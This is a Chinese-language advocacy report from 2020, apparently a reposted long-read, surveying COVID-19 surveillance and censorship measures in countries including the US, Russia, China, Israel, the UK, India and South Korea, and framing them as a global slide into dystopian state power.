电信公司还宣布，该数据不能用于其他目的，也不能与其他数据集合并，即便在法律范围内。

S K 斯洛伐克

受新加坡、韩国和台湾地区类似法律的启发，斯洛伐克新颁布的一项法律允许该国公共卫生办公室使用手机中的位置数据来追踪被命令隔离的人，以确保他们没有违规。

公众对侵犯隐私的愤怒反应迫使政府澄清：政府将只收集有限的数据，并只在与冠状病毒疫情有关的情况下使用，这些数据只能由公共卫生办公室获取；新的权力将于12月31日到期。

司法部长 Maria Kolikova 表示，虽然在正常情况下，使用这些数据是不能接受的，但在公共卫生紧急情况下，“隐私权并不是绝对的”。

G T 危地马拉

危地马拉政府正在使用应用 Alerta Guate 来传播公共健康信息，该信息由芝加哥注册的公司 In-telligent LLC 创建。

⚠ 该应用程序可以收集每个用户的电子邮件地址、社交媒体帐户、年龄，个人兴趣和地理位置，并可以请求访问文件、通话和音频等权限。

总统表示，他希望确保市民安装该应用程序，以便以后将其用于其他目的，例如安全问题或寻找失踪的孩子。

简单说，这种高度侵入性的监控准备继续被使用。

P Y 巴拉圭

宣布在巴拉圭发生紧急卫生状况的总统令授权公共卫生部从晚上8:00到凌晨4:00进行“一般性预防隔离”，但那些从事重要工作（如运送食

物）的人除外。

内政部及其警察在街上巡逻以执行措施。

并采用开源项目收集数据。这个被称为 CovPY 的自动报告系统，使任何人都可以访问它并报告其症状，并获得快速反馈，以采取下一步措施并生成有关情况的数据。

V N 越南

越南着重于积极的接触追踪，对所有抵达该国的人进行强制隔离，取消所有外国航班，征召医学生以及退休的医生和护士，进行监视，并动员医务人员和军事人员，甚至其国民线人网络。

截至3月24日，该国已报告123例确诊病例，无死亡病例。截至3月20日，该国已经测试了15637人。

但是，因分享有关该病毒的所谓错误信息而被罚款的有约**800**人。

M Y 马来西亚

⚠ 马来西亚将在武装部队和地面警察的指导下，使用政府拥有的无人机和从当地企业借来的无人机来监视对运动控制令的遵守情况。

由于马来西亚没有足够的无人机来覆盖整个国家，因此他们将重点关注人们无法遵守法规的12个热点地区。

「图」

「图」

E E 爱沙尼亚

爱沙尼亚政府危机委员已经利用 Telia、Elisa 和 Tele 2 等公司提供的移动设备地理位置数据，研究人们的动向。

爱沙尼亚当局希望在2020年3月24日这一周内启动该项目。

局长 Mart Mägi 表示，目的是分析紧急措施实施前后的人员流动情况，如果电信公司同意可行，数据处理将只在爱沙尼亚统计局的安全环境中进行。

数据保护监察局已经同意，只要数据不被个人化，而且只用于提供一般化的结果，这种跟踪是“合法的”。

G R 希腊

希腊政府发布了一项禁令，从3月23日至4月6日禁止一切不必要的交通，以阻止冠状病毒的传播。

凡属于例外情况之一的人，必须携带警方的身份证明或护照和行动证明，公民可通过填写网上表格 (网址为 form.gov.gr)，或填写纸质表格，列出离家的原因，或发送短信获得许可。

雇员由雇主出具证明。政府表示，不会保留个人数据记录，所有数据在使用后将被删除。违规者将被罚款150欧元。

A L 阿尔巴尼亚

阿尔巴尼亚计划在40个小时内部署军队以实施宵禁，该宵禁是该国于3月21日发起的，旨在控制COVID-19的扩散，

原因是公民继续出行无视居留命令。尽管该国当时只有76例确诊病例，但政府对3月9日该国切断旅行之前从意大利返回的12万人的潜在扩散感到担忧。

M M 缅甸

主要是言论审查。

为了应对缅甸境内流传的许多所谓的谣言、虚假新闻和恶作剧，该国卫生和体育部与州和地区政府合作建立了一个网站，提供有关该病毒的视频、最新数据以及最新病例数的视频和实验室结果，以“纠正”人们对医务人员和维稳部门的认识。

该机构共享信息并与交通运输部合作，“追踪散布虚假新闻的所有人”。

该部“还发出警告，我们将对在社交媒体上传播假新闻的人采取行动。”政府建议人们在分享可能是虚假的报道之前先检查一下站点。

P L 波兰

波兰政府开发了 iPhone 和安卓系统的免费家庭检疫应用，警方可以检查个人是否违反检疫规定；违反者可能会被处以最高 5000 兹罗提的罚款，同时也为被检疫者提供支持。

⚠用户通过输入手机号码和短信发送的代码激活该应用后，就被要求发送一张参考照片。

每隔一段时间，该应用就会发送一个不定期的请求，要求在20分钟内发送一张新照片。

⚠系统会同时检查人（使用面部识别）和地点，本质上复制了警察的来访。

未被隔离的人不能注册，因为该应用与属于被命令隔离者的电话号码数据库相连。

该应用还提供了相关的健康信息和热线电话。政府打算在未来一段时间内为该应用程序增加更多的功能。

最后

本报告仅选择一些突出的重点，有可能并不完整；但是足够显示出以防疫为借口的反乌托邦权力扩张如何在全球盛行。

争取人权的运动从来都是举步维艰的，然而一场灾难，就能将几十年的努力付之一炬。这非常可怕。

任何灾难都是如此，而不仅仅是病毒—— **911**之后的疯狂世界如今的人们无不熟悉；斯诺登文件中所体现的只是一斑。

Robert Higgs 在80年代就警告过这件事，关于：灾难会让政府变得更大，他用“棘轮效应”一词来描述这一现象。

在这种情况下反抗将变得更具难度—— 危机的压力下大众将倾向于寻求强大势力的“保护”，会倾向于认为所谓的 “健康码” 等监视措施是 “在保护我们的安全”；虽然并没有任何证据能显示这种侵犯人权的行为对于防疫究竟能有任何积极效用。

简单说，人权捍卫者的支持度将明显下降。政府的欺骗和恐吓将占据上风。还记得吗，《恐惧诉求》在劝导术中占据很高的地位。

这种状况在历史中已经不断重演，冠状病毒疫情只是最新一集。

但这一集并没有结束，最终的结局将取决于我们现在如何对待这个问题。

“棘轮效应” 是一个警告，而非定论。最终的结论如何将取决于现在有多少人能理解到这个问题，以及采取什么样的行动。〇

原文

LR #COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱-包括但并仅仅是中国：长篇报告

COVID-19(84)技术暴政长读

【2020年8月27日存档】这不是某个国家的问题，而是全球性的，就如病毒本身一样，无国界；从手机跟踪到空中无人机监视、从事无巨细的健康记录到GPS脚腕手环 ..... 这些监视国家的手段正在一切病毒途经的地区成为常态

科技公司、政府和国际机构都已宣布了措施，以帮助遏制COVID-19（冠状病毒）的传播。

但是，其中有很大一部分措施对基本人权和人身自由施加了严格的限制，甚至侵犯。前所未有的监视、数据利用、和辟谣大跃进在全球范围内铺展。

- 推荐报告 《逮捕、追踪和惩罚，全球”反谣言”行动地图》

这些措施中有许多是基于非凡权力的，只能在紧急情况下才能临时使用。其他的则是钻空子，使用数据保护法中的豁免条款来共享数据。总之目标都是一样的：反乌托邦。

有些可能是有效的，并根据流行病学家的建议，而有些并不是。

但是，所有这些必须都是暂时的、必要的和相称的。否则，它们将带来远比冠状病毒更严重且更持久的人间灾难。

跟踪这些反乌托邦手段至关重要。大流行结束后，必须制止这些特殊措施并予以追究。这就是本报告的目的。荷兰的反抗已经开始。图为来自荷兰的请愿书，目前已经*35*万人签署。这封请愿书的主题是“保护公民免受不公正和滥用权力的侵害。抵制当权者以冠状病毒防疫为借口颁布的紧急法令限制公民的隐私权和自由。”

中国朋友也已经对此有了很清楚的认识 – 这段文字来自中国的微信群组

概述

「图」

在反乌托邦方面，冠状病毒激发了前所未有的全球一致性 —— 全球数十亿人已经面临加强的恐怖级监视状态。

Edward Snowden 已经发出警告，各国政府用来对抗 **COVID-19** 疫情的高科技监视措施很可能会产生长期影响，

例如，美国政府正在与 Facebook 和 Google 等寡头公司进行谈判，目标是使用手机中的位置跟踪数据来追踪 COVID-19 的传播。尽管有些人也许认为该措施是 “卫生当局追踪该病毒的有用工具”，但是，你必须考虑到，这些敏感的信息会与政府共享。

斯诺登说，政府可以在危机期间扩大对人们的个人信息的访问权限，并使用它来监视每个人的行为。例如在这种大流行期间，政府会以 “担心公共健康” 为借口，要求向每个健身追踪器发送命令以查看诸如脉搏和心率之类的措施，然后继续要求进行此类监视。

正如斯诺登所说，即便在病毒消失之后，政府依然可以利用诸如恐怖主义威胁之类的新借口来证明其不断收集和分析人们的私密数据是 “合理的”。

是的，每一次重大危机都非常容易导致这样的结果，**911**之后的几十年已经充分验证了这点。在下面看到曾经的解读。

- 《冠状病毒大流行期间监视状态蓬勃发展》
- 《帮助特朗普连任的监视跟踪公司现在要利用冠状病毒赚钱》

斯诺登在接受采访时说：“他们[政府间谍]已经知道您在互联网上正在看什么，他们已经知道您的手机在哪里移动，现在他们还知道您的心律是多少，您的脉搏是怎样的。当他们开始将这些信息关联在一起并将其应用于人工智能时，你知道会发生什么。”

对于专制思想的领导人来说，冠状病毒危机还为打压批评家和巩固其自身权力提供了方便的借口。审查制度已经导致疫情的加剧，并且将潜在可控的威胁转化成了全球性灾难。

健康危机将不可避免地平息，但是专制政府危险的权力扩张可能是大流行最持久的遗产之一。

一些国家的政府松了一口气，认为冠状病毒为限制反政治示威提供了便利的理由。

比如，阿尔及利亚政府已停止进行了一年多的定期抗议活动，这些抗议活动为的是寻求真正的民主改革；俄罗斯政府也停止了对弗拉基米尔·普京（Vladimir Putin）取消总统任期限制计划的抗议；印度政府宣布的为期三周的锁定行动，也方便地结束了对总理纳伦德拉·莫迪（Narendra Modi）的抗议。这种限制是否超过冠状病毒的威胁还有待观察。

毫无疑问，这是不平凡的时期。国际人权法允许在国家紧急状态下对自由的限制是必要和适当的。但是，我们应该非常警惕那些利用这场危机来为自己的政治目的服务的政客。他们正在危害民主和我们所有人的健康。

- 《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》

这一噩梦是否会延续，以及延续多久，取决于公众的监督和及时的反抗。

以下是来自全球的报告的汇总，方便您更直观地看到这一危机。

美国

「图」

「图」

EEF 表示，公共卫生危机，尤其是全球流行病，可能需要采取特殊措施以维护公共利益，但是，侵入性面部监视并不符合公众利益。

这种方法可能涉及建立新的基础架构，以与世界上一些最邪恶的监视技术供应商进行更多的面部监视和大型政府合同。

诸如 Clearview AI 之类的公司已经在与代理商进行谈判，以提供帮助，⚠这些公司使用从社交媒体上刮取的二十亿张面部图像来跟踪个人并通过实时面部监视对其进行识别。

- 关于 Clearview AI，详细参见 《只要一张照片，陌生人就可以找到您的一切私密信息》

即使公民自由组织呼吁全国禁止政府使用面部识别，美国海关和边境保护局目前仍在吹嘘机场登机手续时面部识别被认为比其他检查手段“更卫生”。

公共卫生危机结束后，无法轻松拆除运行人脸识别所需的庞大基础结构（例如相机、软件和与供应商的开放式合同）。我们不能让执法人员和其他政府官员将这种入侵策略标准化。

我们知道这种间谍技术的真相：人脸识别看似方便且有用，但实际上是一种充满漏洞的技术，它使人们受到政府的不断审查，并有可能通过识别和跟踪人们的身份扼杀言论自由和行动自由。

- 更多解释见《说谎的眼睛：根植于维多利亚时代面部识别》

汉王公司开发的人脸识别软件即使在戴着口罩的情况下也能够识别人，还可以用于识别在政治抗议活动中因担心政府报复而遮住脸孔的任何人。

我们必须考虑这些技术的来龙去脉，以及在紧急情况结束后它们在日常生活中的使用方式。

并且灾难不只有人脸识别。美国堪萨斯州卫生部正在通过名为 Unacast 的平台跟踪居民的位置，该平台比较了实施社会疏离前后的汇总**GPS**手机数据，并对每个县的合规性进行了评分。

Unacast 说，它可以访问的数据每隔一天更新一次，并在美国所有50个州中发布最新的评级。这个思路类似中国的 “健康码”。

与寡头公司的监视合作尤其令人担心。

苹果和谷歌宣布了一项合作伙伴关系，使政府和卫生机构可以使用蓝牙进行基于近距离的联系人跟踪。

西弗吉尼亚大学洛克菲勒神经科学研究所、西弗吉尼亚大学和 Oura Health联合进行的一项全国性研究，推出了一种叫 “Oura环” 的东西，用来测量体温和脉搏量以确定心脏和呼吸频率并跟踪睡眠。

这些手环及其随附的智能手机应用已发布给西弗吉尼亚州前线医疗机构的医生，护士和其他医护人员。 RNI打算通过与纽约市，费城，纳

什维尔和其他地区的医院合作，扩大实验范围。

全球政府正在越来越多地使用智能手机来跟踪人口流动。美国也一样。我们讲述过这种监视的危险性。

- 《你的手机如何背叛了民主？》
- 《你的手机知道一切，并且很愿意告诉警察：法律不保护你》
- 《您并不偏执，您的手机确实在窃听您所说的一切》
- 《你的手机就是秘密监视设备—Snowden访谈视频》

当两家数据分析公司于3月25日发布热图以追踪春假期间在佛罗里达州一个海滩上检测到的数千台“独特移动设备”时，这种监视的力量就显而易见了。

监视一直在追踪这些手机在离开海滩后去了哪里。

这两家公司之一解释说：“我们首先构建了一个映射数十亿个数据点的引擎 …… Tectonix 专为高容量、高速度的位置数据而设计，可让您接近实时地分析、评估和可视化数十亿个数据点。这意味着您可以随时推动见解和采取行动，而不必等待最终结果呈现。”

数据收集过程非常简单。这些公司将软件模块嵌入到多个应用程序中，然后将其安装在用户的设备上。

这些应用要求获得访问用户的位置和设备状态的权限，然后将这些数据出售，为应用程序开发人员创造收入流。

⚠ X-Mode 解释说，此类数据可以包括 “设备的地理位置和在感兴趣的地点附近的停留时间，或设备在一个地方停留多长时间。” 这种监视具有多种捕获位置的方法 —— 蜂窝塔，**GPS**，**Wifi**网络，所有这些都可以使用。

- 《Wi-Fi是如何出卖你的？》

当然，这些跟踪图并不是特例。正如《华盛顿邮报》 3月24日报道的那样，“只要您拥有智能手机，那么您可能已经正为大规模的冠状病毒监控系统做出了贡献。”

不要相信任何关于 “数据是匿名的” 狡辩。绝大多数人都可以通过所谓的模式识别来确认身份。你住在某个地方、在某个地方工作、在某个地方旅行、在哪些地方购物 …… 人类是习惯性动物，只需要拥有在几天或几周的时间内的特定设备的数据，就可以准确识别该人的身

份。

- 《即使数据是匿名的，您的身份仍然可以被识别》

别忘了下面这个追踪实验 ……

- 《1200万部电话，一个数据集：利维坦眼中的世界》

俄罗斯

「图」

「图」

莫斯科市正在使用智能手机地理定位功能来跟踪外国游客在该市的活动，以防止在俄罗斯重新开放边界后爆发COVID-19。

莫斯科占该国所有感染案例的三分之二。莫斯科市政厅准备的系统将使用其SIM卡数据提供游客活动的每日更新，并显示居民何时与他们接触；他们已经从俄罗斯三大电信运营商那里购买到了位置数据。

Yandex 被认为是旅行跟踪系统的候选供应商之一。

Yandex 发布了冠状病毒感染的实时地图，显示俄罗斯各地的感染情况。包括感染人数和居民使用地理位置标记的自我隔离区，地图：https://yandex.ru/web-maps/covid19?ll＝41.775580%2C54.894027&z＝3

还有反现金行动。由于担心通过钞票和支付卡传播冠状病毒的可能性，俄罗斯已开始在包括 Lenta 超市在内的许多连锁超市测试其统一生物识别系统（EBS）的付款方式。

俄罗斯银行VTB计划在2020年中期大规模推出。

Promsvyazbank 计划旨在2021年初进行面部生物特征识别付款的试验，该银行正在与多家零售连锁店进行了沟通以引入这一系统。

就是通过内置摄像头的终端扫脸以进行支付。运营EBS的 Rostelecom 称，该系统将交易时间从20秒减少到5秒，并且它还可以 “提供忠诚度积分或确认购买者的年龄”。

迄今为止，EBS数据库中已经存储了130000多个模板。

简单说就是，强制更多人交出自己的生物识别数据。

此外还包括言论审查。俄罗斯建立了一个冠状病毒信息中心，以监视社交媒体上有关冠状病毒的所谓错误信息，并使用监控摄像头和AI组合发现超市的空货架。该中心还拥有一个数据库，其中包含从疫情国家返回后被强制隔离的95%的人员的联系方式和工作地点。

一些文件概述了在COVID-19爆发时俄罗斯可能需要采取的措施 ——“紧急模式”。

提案的计划A允许取消莫斯科的所有国际体育、文化、科学和社会活动；监控测试阳性的人，并从视频监控摄像机记录和地理位置数据中追踪所有目标人的联系人，并对他们的房屋以及他们及其家人探访的所有地方进行消毒；并创建联系人数据库。

计划B增加了关闭莫斯科的学校、图书馆、博物馆、电影院、购物中心、市场和运动场，并禁止在该城市进行公共活动。

中国

「图」

「图」

中国采用强制下载智能手机应用程序来开展大规模监视。

从杭州开始，已经有200多个城市的中国公民必须在其智能手机上安装由当地政府在支付宝开发的“支付宝健康码”应用程序。

用户必须填写带有个人详细信息的表格，然后该软件就会生成三种颜色之一的QR码。绿色使持有人可以不受限制地移动；黄色码的人可能会被要求呆在家里七天；红色表示两周隔离。

该应用程序还可以与警察共享信息。时报的分析发现，只要用户授予该软件对个人数据的访问权限，该程序的一部分就会将该人的位置、城市名称和识别码发送给服务器。

该软件无法向用户表明其与警察的联系。但是，据中国宣传机构新华社和官方的警察社交媒体报道，执法部门是该系统发展的关键伙伴。

中国的机场筛查，包括自1月下旬开始使用的“非接触式热 扫描”针对所有抵达的旅客检查他们是否发烧，并要求旅客在抵达时报告自己的

健康状况。

这些措施看起来似乎让人放心，但是，它并不能阻止新型冠状病毒的传播，因为经验表明这种筛查很少能发现受感染的旅客（即使在感染区内）对疫情发展过程的影响并不大。

中国领先的所谓智能硬件制造商 Telepower Communication（Telpo）已将新功能集成到其终端中，以支持各种“非接触式”用例。

该公司的终端产品系列可用于餐饮、零售、支付、安全和其他应用，⚠包括生物识别，发烧检测、面部识别和票证验证技术。

⚠该技术支持对多达99.5%的戴着口罩的人进行准确识别，检测体温误差在0.5摄氏度以内度，使用其双目摄像头监视系统测试活动性，并支持统一的数据管理和多种安装方法。Telpo 提供离线、在线和开发版的解决方案，后者包括其 SDK。

言论审查也是突出的。中国共产党在冠状病毒危机期间努力控制叙事和转移责任，利用其政府拥有的媒体通过其英文 Facebook 网页和推特传播宣传性内容（尽管这些平台在中国是被禁止的）。

- 《冠状病毒使中国的监视状态脱颖而出》
- 《冠状病毒疫情中7种侵犯人权的方式最为突出》

中国政府官方强调“快速恢复和成功的治疗”，以及关于快速建设临时医院等努力的正面报道。后期的报道还试图将中国定位为“病毒应对方面的世界领导者”。一些美国媒体也采取了类似的策略。

此外，冠状病毒疫情以前所未有的高速度推动了寡头技术的采用率 —— 虽然这不是中国的特例。

在中国，科技巨头阿里巴巴、百度、ByteDance、腾讯、小米和富士康正在努力借助冠状病毒推动自己的技术。

为了帮助当权者审查所谓的错误信息，百度在其标准 Map App 之上创建了一个地图层，可实时显示已确认和疑似病例的位置；奇虎360推出了一个平台，旅客可以使用该平台检查最近乘坐的火车或飞机上是否有人经过测试后呈阳性反应；腾讯推出了 Medipedia，以提供经过专家审查的信息、所谓的辟谣平台和门诊诊所地图。

⚠广州公交集团在公交车司机座位旁安装了生物识别平板电脑，以便

他们可以检查每个乘客的体温和身份。

⚠这些平板电脑还将为每位乘客拍照，使他们能够被中国的面部识别网络识别真实身份。

以色列

「图」

「图」

以色列已允许 Shin Bet 安全部门“使用疾病携带者的手机数据来追踪他们的一举一动，并确定他们可能感染的任何人”，这些信息将转发给卫生部。

距离受感染者2米（6.6英尺）以内的人、并持续10分钟或更长时间，这样的人会被告知进行隔离。

对原始命令的更新版已将其有效期从30天延长至政府终止紧急状态为止。

⚠收集到的数据将再保存60天，以对卫生部的工作进行内部调查。以色列民权协会认为这种入侵没有证据能表明对防疫的作用。

以色列卫生部的移动应用程序 “The Shield” 旨在提醒用户与已知 COVID-19 患者同时处于国内某个地点的情况。

该应用程序可在 Android 和 iOS 上使用，全天侯收集用户移动设备的 **GPS** 和 **WiFi** 网络（**SSID**）信息。当局声称此数据仅保存在移动设备上，不会传输到卫生部，其他政府机构或任何组织。

新诊断的患者在被询问时会透露的位置将被添加到JSON文件中，该文件每小时在应用程序中更新一次，并与每个用户手机中存储的位置进行比较。

该应用程序有局限性：由于从患者那里收集了数据，因此可能会有误报，而且不会包括无症状的携带者。该应用程序已经过以色列网络安全公司 Profero 的安全漏洞审查。

以色列拟部署中华电信在台湾开发的手机追踪系统，该系统2月1日在台湾地区推出，用于追踪台湾五大网络运营商的所有用户。

首先，疾控中心编制了一份名单，对与 COVID-19 患者或从高危国家归来的旅客密切接触后需要隔离或居家隔离的人员进行追踪。

当地卫生和民政部门在核实确认名单上的人员是否能按照他们提供的手机和地址联系到他们后，将他们的手机号码发送给电信公司，由电信公司根据**GPS**数据和基站三角定位，定期报告相关设备所处的位置。

如果发现有人违反检疫规定，该系统就会发出警报，其服务提供商会向该人以及当地警察、卫生部门和民政机构发出警告信息。

尤其是，以色列国防部长 Naftali Bennett 公布了一项计划，根据该计划，⚠包括全球最臭名昭著的间谍软件供应商 **NSO** 集团在内的技术公司将与国防机构合作，以便实现更深入的追踪监视。

- 关于NSO 参见列表- 4 “以色列和NSO” 板块

根据 Bennett 的建议，合作者将建立一个系统，卫生部、Shin Bet 安全局将把他们所掌握的所有关于COVID-19患者的数据输入其中，并利用这些数据为以色列居民分配 “分数”，显示他们被感染的可能性 —— 也是类似于中国的 “健康码”。

该系统将不断地实时更新。NSO集团将能够检索到14天前的数据，并确定患者与谁接触过15分钟以上。

英国

「图」

「图」

Palantir 和英国人工智能初创公司 Faculty正 在根据与英国国家卫生服务机构 NHSx 的合同，对英国大量机密的患者信息进行数据挖掘，以整合政府数据库，⚠并建立预测性计算机模型。

NHSx 表示，其目的是为部长和官员提供实时信息，以显示需求上升的地方和需要部署的设备。

泄露的文件表明，该项目在进行过程中并没有充分注意到隐私、道德或数据保护问题，而且，据称这些数据正在与其他数据集进行交叉匹配。

此外，英国的生物识别初创企业正在帮助英国政府创建数字护照。

VST Enterprises 正在提供由生物识别技术支持的数字医疗护照 V-COVID；护照将包含测试结果，并将其包含在可从两米外扫描的应用程序中。

为NHS信托机构提供数字化平台的 Patchwork Health 和提供数字化员工身份证的 Truu 结合起来，将使新的卫生工作者在几分钟内入职成为可能。

3月20日，英国卫生与社会护理部发布了一项通知，为NHS放弃保密义务提供法律依据。⚠意味着NHS组织和政府可以与他们想要的任何人共享任何患者数据，只要声明是 “对抗covid” 就行。

此外，Post-Quantum 的子公司身份验证公司 Nomidio 正在免费提供验证服务。该服务将通过智能手机实现一个简单的基于服务器的三步验证过程，以帮助首次使用的用户证明其身份。

空中监视也开始了。英国政府宣布全国封锁后，德比郡警察开始使用无人机捕获人们在漫步、遛狗、购物时的镜头。这一举动被广泛批评为适得其反。但是，政府回复说人们应该呆在自己家附近，不要不必要地旅行，并赋予警察新的权力以实施封锁。

- 《如何防止被无人机监控？（热成像监控的抵制方法）》
- 《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》

群众斗群众已经显见。北安普敦郡警方报告说，越来越多的人打来电话举报他们的邻居每天进行多次锻炼，在后院进行烧烤聚会等。Nick Adderley 说，警察将在必要时发布罚款通知书，但他认为首先对公众进行教育很重要。

英国内政部已授予英格兰警察新的权力，以执行封锁规则六个月，每三周进行一次审查。

⚠ 警察现在可以：将人们驱散或离开某个地区；确保父母竭尽全力使孩子免受违反规则的处罚；处以60英镑的罚款，如果在14天内支付，则降低至30英镑；并对第二次违规者处以120英镑的罚款，对再次犯法者处以两倍的罚款。

甚至可以将拒绝付款的人告上法庭，裁决可以对其施加无限的罚款；警察还可以直接逮捕不遵守规定的人。但是，内政部承诺，警察将始

终保持常识和谨慎态度。

英国国家卫生局正在与 Palantir 合作，推出一个数据平台，该平台将跟踪关键人员和物资的流动；它将首次为部长们提供一个仪表盘，显示整个卫生保健系统的全面视图。

Palantir 从整个卫生部门收集到的数据存储中将不包含单个患者的数据；取而代之的是，它将包括急症室的容量、拨打NHS 111热线的电话以及病床、呼吸机和现役NHS人员的数量和位置。

地方政府协会认为，在冠状病毒危机期间，议会不应该遵守信息自由请求。

大曼彻斯特地区警方紧随其后，称从事非关键性工作的警察被重新分配到业务警务工作中，”在进一步通知之前” 不会回答信息自由请求。

简单说，公民监督正在被废除。

移动网络运营商**O2**正在向英国政府提供汇总数据，以分析智能手机位置数据，检查人们是否遵守该国的社会疏离准则，尤其是在伦敦。

政府说，它只是向O2索要数据，而不是向所有移动网络索要数据，以便遵守数据保护法并避免合并多个数据集。

牛津大学的研究人员还与英国政府合作开发了类似于中国那种智能手机跟踪系统，可以警告与冠状病毒感染者接触过的人。

该应用程序将与国家卫生服务体系（National Health Service）相关联，将依靠公众自愿分享其位置数据。该服务不会像韩国那样发布受感染个人的活动。

即使没有被普遍采用，并且位置数据并不总是很精确，牛津大学的研究人员仍然认为，基于他们的模型，这样的系统可能会比旧的追踪方法更有用，而且速度更快。

印度

「图」

「图」

印度安得拉邦国家灾难管理局正在与其他政府机构合作，开发工具来

追踪那些对新冠状病毒检测呈阳性的人、以及在家中接受检疫的人的完整旅行历史数据。

如果超过25000名被居家隔离者中的任何人远离其基本地点超过100米，COVID警报跟踪系统就会警告当局。

该系统在电信服务提供商和蜂窝塔的协助下跟踪目标人。如果被提醒的违法者拒绝回家，那么该问题将上报给国家有关当局。

第二个工具分所有新近确诊病例的人的位置历史记录，以在个人花费时间超过15分钟的地点周围创建两到三公里的红色区域。

印度的 COVID-19 跟踪器应用程序 Aarogya Setu 在上架头**13**天内就被下载了**5000**万次。

该应用程序由电子和IT部下属的国家信息中心开发，可在 Android 和 iOS 智能手机上使用，并使用 GPS 和蓝牙提供有关目标手机是否在感染者附近的信息。

⚠用户需要提供手机号码、健康状态和其他凭据，并且必须同时打开位置服务和蓝牙。你知道，这非常危险。

卡纳塔克邦政府模仿韩国等国家的做法，已指派其十人组成的 COVID-19 工作组，其中包括在技术、医学和医疗保健领域具有专业知识的IAS官员，以追踪在Covid-19爆发期间访问过国外的大约40000人、以及经过测试呈阳性的人和其接触者的联系方式。

为此启动了 Corona Watch 应用程序，该应用程序提供了对 COVID-19 测试呈阳性的所有人曾经访问过的所有地点的详细信息。该州发现，接触者的人数是患者人数的十倍 —— 如果被感染者曾经参加音乐会或其他活动，则人数会更多。

IIT-Bombay 大学的计算机科学系已经向包括人力资源和发展部、马哈拉施特拉邦政府、和 Brihanmumbai 市政公司等印度公共机构的官员在内的多个部门发送了两款可以追踪违反检疫者的移动应用提案。

第一种是 Corentine，旨在对嫌疑人和无症状的携带者进行地理信息封锁，另一款 Safe 则是之前被 IIT-Bombay 学生用来登记课堂出勤情况的工具，现在被用来监控那些被隔离在家中的违规者。

Corantine 会定期将手机的**GPS**坐标发送到一个由授权机构运行的服务器上；⚠ Safe 会定期要求用户自拍，它通过人脸匹配工具进行检

查，并贴上时间和地理位置的标签，所有这些都可以被授权机构检查。

卡纳塔克邦政府发布了被隔离居民的家庭住址，以阻止违反规定。名单中包括从国外回国的人，被要求在室内呆两个星期，即便未检测到新型冠状病毒的阳性。

尽管政府删除了一条宣布其意图的推文，但该列表仍可在其网站上找到，并在 **WhatsApp** 上被分发。它也已映射到**Google**地图上，因此人们可以看到附近被隔离人员的地址。

在印度，有关大流行病的耻辱感正在加剧，印度的《个人数据保护法案》尚未通过。

印度医疗AI初创公司 Qure.ai 发布了 qScout，这是一个由AI驱动的“虚拟护理平台”。

qScout应用程序旨在帮助政府、医院和诊所识别高危人群，协助联系追踪，方便远程分类，阅读胸部X光片以识别可能的感染，使用地理映射来估计人群风险并使用实时数据来分配关键资源。

印度已经开始在马哈拉施特拉邦和卡纳塔克邦的机场给抵达机场的人的手上盖章，以明确规定他们必须在哪一天之前保持隔离状态。

政府还在利用航空公司和铁路订票数据来追踪疑似感染者，并找到曾承诺不旅行的人的手印。

⚠ 喀拉拉邦当局利用电话通话记录、闭路电视监视录像、和手机GPS系统追踪 COVID-19 患者，并公布了详细的时间和日期地图，显示出检测出阳性者的动向。

韩国

「图」

「图」

韩国在没有全国封锁和不中止公民权利的情况下抗击冠状病毒的努力能否成功，部分取决于2015年MERS流行后的准备工作，以及该国的私人测试实验室网络，这使得该国能够迅速设置启动测试，并将结果快速发送回手机。

积极的结果带来了积极深入的联系跟踪，其中包括CCTV录像、手机跟踪数据和信用卡支出记录。

该国使用扬声器和短信来广播有关感染者购物、吃饭和旅行的地点和时间的信息，鼓励经常光顾这些地方的人进行检查。

⚠入境旅客必须在手机上安装特定应用程序，通过该应用程序报告其健康状况。第二个应用程序跟踪那些被命令隔离的人，以确保他们不会离开隔离区。

3月9日，SK Telecom 开始向庆尚北道警察厅提供 Geovision 人口分析服务和 GIRAF 平台。

该公司声称，该组合可以实时分析全国各地的移动地理位置数据，创建可视化效果，并显示**10×10**米范围内有多少人，从而使警察能够将警官派到需要执行强制疏散措施的地方。

该公司正在与韩国国家警察局进行谈判，以将服务范围扩大到全国所有警察局。

随着 6300 个 COVID-19 病例和40多个死亡报告，韩国政府推出了一款智能手机应用 (安卓系统优先，iPhone将于3月20日推出)，作为其遏制疫情爆发的 “最大限度” 行动的一部分，对处于封锁状态的公民进行监控。

这款应用可以让患者与护理人员保持联系，并利用GPS追踪他们的位置，确保他们不会突破隔离。

政府表示，追踪是管理病例量（当时为3万人）和防止 “超级传播者” 所必需的。

如果受检者离开指定区域，该APP会向受检者和办案人员发送警报。

其他措施还包括开车检测站和 “严格的透明度”，这使得私人开发的地图服务可以追踪已确认的携带者，市、区政府也会发送警报，通知个人新的案件。

尽管韩国政府通过短信发送的有关与冠状病毒感染者接触的警报不包括姓名，但是，包含有关人员很多详细信息，在某些情况下可以清楚地显示其过去的位置历史记录。

⚠通过这种方式被识别出的人遭受了线下和/或在线的各种骚扰，被

嘲笑。一项调查发现，结果是，人们对感染的“批评和进一步破坏性”的恐惧程度超过了对病毒本身的恐惧程度。

韩国卫生当局和民政部门发送的“安全指导文本”导致信息过载，其中包括有关感染者私人生活的令人尴尬的曝光。

文本可能包括链接，以跟踪最近被诊断出的病毒携带者的活动。单击该链接可将用户带到地区办公室的网站，该网站列出了患者在测试阳性之前曾去过的所有地方。

在一个案例中，一个50多岁的男子被证明是与30岁的秘书从武汉回国后被检查到的。在另一起案件中，警报显示，一名男子在性骚扰中感染了该病毒；第三个是，一名60多岁的妇女被指控犯有保险欺诈罪。

德国

「图」

「图」

汉堡地理跟踪初创公司 Ubilabs 正在与汉诺威医学院在一个数据分析平台上合作，该平台可以跟踪测试冠状病毒及其接触检测呈阳性的人。这种类型的跟踪需要获得个人的同意才能具有处理的法律依据。

法律已经被修改。德国在其GDPR授权立法中增加了一些措辞，允许在发生流行病或其他灾难时处理个人数据。

同时，法国数据保护机构 CNIL 表示，雇主不得对员工或访客进行强制体温测量，或要求他们填写强制医疗问卷。意大也通过了紧急立法，要求任何最近在高危地区住宿过的人都必须通知卫生部门。

德国移动运营商 Deutsche Telekom 在 RKI Live 的新闻发布会上宣布，已将其用户的移动数据匿名传递给罗伯特·科赫研究所（Robert-Koch Institute），以研究人口在多大程度上遵循政府的限制。

RKI 总裁 Lothar Wieler 表示，该数据也可以购买，但已免费提供给 RKI。

